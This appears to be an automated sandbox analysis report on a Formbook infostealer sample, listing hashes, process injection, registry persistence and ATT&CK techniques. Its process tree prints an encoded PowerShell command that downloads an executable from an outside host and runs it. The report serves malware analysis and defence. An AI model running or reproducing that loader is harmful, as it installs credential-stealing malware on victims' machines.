formbook | b0b9e3dc8734f410aa2312b54b09cd299d427f0b04b5c57c5cccc0b58fe966fa

General

Target

6115b75d6dea7d18c4c335daee062579.exe
Size

847KB
MD5

6115b75d6dea7d18c4c335daee062579
SHA1

edd36175f46101077bd6946a2324e10c4c3f73aa
SHA256

b0b9e3dc8734f410aa2312b54b09cd299d427f0b04b5c57c5cccc0b58fe966fa
SHA512

85ff43706d9e45c376bc72bb4040b5ad0e3480f479074758502e217e82f46021eddafbd9eef08a1b5d0ecb8e64bdcb15043643f858a8bf7eb2ee95da6369aaaf

Score

10^/10

persistence spyware trojan stealer formbook evasion

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
1184	powershell.exe
1184	powershell.exe
1448	powershell.exe
1448	powershell.exe
768	MdPSvg.exe
768	MdPSvg.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe

Executes dropped EXE 1 IoCs

pid	Process
768	MdPSvg.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
768	MdPSvg.exe
768	MdPSvg.exe
768	MdPSvg.exe
1056	help.exe
1056	help.exe
1056	help.exe
1056	help.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 768 set thread context of 1248	768	MdPSvg.exe	20
PID 1056 set thread context of 1248	1056	help.exe	20

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Xczadhdz\configxrwhgb.exe	help.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1156 wrote to memory of 1184	1156	6115b75d6dea7d18c4c335daee062579.exe	24
PID 1156 wrote to memory of 1184	1156	6115b75d6dea7d18c4c335daee062579.exe	24
PID 1156 wrote to memory of 1184	1156	6115b75d6dea7d18c4c335daee062579.exe	24
PID 1156 wrote to memory of 1184	1156	6115b75d6dea7d18c4c335daee062579.exe	24
PID 1184 wrote to memory of 1448	1184	powershell.exe	26
PID 1184 wrote to memory of 1448	1184	powershell.exe	26
PID 1184 wrote to memory of 1448	1184	powershell.exe	26
PID 1184 wrote to memory of 1448	1184	powershell.exe	26
PID 1448 wrote to memory of 768	1448	powershell.exe	27
PID 1448 wrote to memory of 768	1448	powershell.exe	27
PID 1448 wrote to memory of 768	1448	powershell.exe	27
PID 1448 wrote to memory of 768	1448	powershell.exe	27
PID 1248 wrote to memory of 1056	1248	Explorer.EXE	28
PID 1248 wrote to memory of 1056	1248	Explorer.EXE	28
PID 1248 wrote to memory of 1056	1248	Explorer.EXE	28
PID 1248 wrote to memory of 1056	1248	Explorer.EXE	28
PID 1056 wrote to memory of 1552	1056	help.exe	29
PID 1056 wrote to memory of 1552	1056	help.exe	29
PID 1056 wrote to memory of 1552	1056	help.exe	29
PID 1056 wrote to memory of 1552	1056	help.exe	29
PID 1056 wrote to memory of 2032	1056	help.exe	34
PID 1056 wrote to memory of 2032	1056	help.exe	34
PID 1056 wrote to memory of 2032	1056	help.exe	34
PID 1056 wrote to memory of 2032	1056	help.exe	34
PID 1056 wrote to memory of 2032	1056	help.exe	34

Blacklisted process makes network request 1 IoCs

flow	pid	Process
4	1448	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
1448	powershell.exe
1448	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	help.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\MJMPLR58_P = "C:\\Program Files (x86)\\Xczadhdz\\configxrwhgb.exe"	help.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-1131729243-447456001-3632642222-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	help.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe
Token: SeDebugPrivilege	1448	powershell.exe
Token: SeDebugPrivilege	768	MdPSvg.exe
Token: SeDebugPrivilege	1056	help.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE
1248	Explorer.EXE

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Suspicious use of SendNotifyMessage
PID:1248
- C:\Users\Admin\AppData\Local\Temp\6115b75d6dea7d18c4c335daee062579.exe
  "C:\Users\Admin\AppData\Local\Temp\6115b75d6dea7d18c4c335daee062579.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAHYAaQBjAHQAbwByAGMAYQBsAHYAbwBhAHIAcQB1AGkAdABlAGMAdABvAC4AZQBzAC8AMQAvAGIAaQBuAGEALgBlAHgAZQAdICAALAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0g
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    - Suspicious use of AdjustPrivilegeToken
    - Drops file in System32 directory
    PID:1184
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAHYAaQBjAHQAbwByAGMAYQBsAHYAbwBhAHIAcQB1AGkAdABlAGMAdABvAC4AZQBzAC8AMQAvAGIAaQBuAGEALgBlAHgAZQAdICAALAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABNAGQAUABTAHYAZwAuAGUAeABlAB0g
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      Blacklisted process makes network request
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Drops file in System32 directory
      PID:1448
    - - C:\Users\Admin\AppData\Local\Temp\MdPSvg.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MdPSvg.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Executes dropped EXE
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:768
- C:\Windows\SysWOW64\help.exe
  "C:\Windows\SysWOW64\help.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  - Adds Run key to start application
  - Modifies Internet Explorer settings
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- - C:\Windows\SysWOW64\cmd.exe
    /c del "C:\Users\Admin\AppData\Local\Temp\MdPSvg.exe"
    3⤵
    PID:1552
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:2032

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

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Downloads

memory/1056-12-0x0000000000740000-0x0000000000746000-memory.dmp

Filesize
24KB

Download
memory/1056-15-0x0000000000750000-0x0000000000897000-memory.dmp

Filesize
1.3MB

Download
memory/1056-16-0x00000000038B0000-0x0000000003A03000-memory.dmp

Filesize
1.3MB

Download
memory/2032-18-0x000000013F5E0000-0x000000013F673000-memory.dmp

Filesize
588KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads